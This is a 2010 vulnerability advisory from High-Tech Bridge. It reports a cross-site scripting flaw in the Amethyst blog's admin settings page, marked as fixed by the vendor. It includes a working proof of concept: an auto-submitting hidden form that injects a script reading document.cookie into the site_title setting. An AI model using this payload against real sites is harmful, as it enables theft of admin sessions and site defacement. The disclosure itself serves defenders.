Vulnerability ID: HTB22501 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_1.html Product: Amethyst Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst ) Vulnerable Version: 0.1.5 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the admin/update_settings script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/update_settings"; method="post" name="main" > <input type="hidden" name="setting[site_title]" value='My blog"><script>alert(document.cookie)</script>' /> <input type="hidden" name="setting[site_description]" value="Welcome to My Amethyst Blog!" /> <input type="hidden" name="setting[site_keywords]" value="amethyst blog, xss" /> <input type="hidden" name="setting[enable_site_title]" value="1" /> <input type="hidden" name="setting[posts_per_page]" value="10" /> <input type="hidden" name="setting[archive_months_to_show]" value="12" /> <input type="hidden" name="setting[enable_menu_archive]" value="1" /> <input type="hidden" name="setting[enable_menu_search]" value="1" /> <input type="hidden" name="setting[enable_menu_tools]" value="0" /> <input type="hidden" name="setting[enable_menu_other]" value="1" /> <input type="hidden" name="setting[item_thumbnail_width]" value="100" /> <input type="hidden" name="setting[item_thumbnail_height]" value="100" /> <input type="hidden" name="setting[resize_item_images]" value="0" /> <input type="hidden" name="setting[item_image_width]" value="500" /> <input type="hidden" name="setting[item_image_height]" value="500" /> <input type="hidden" name="commit" value="Update Settings" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
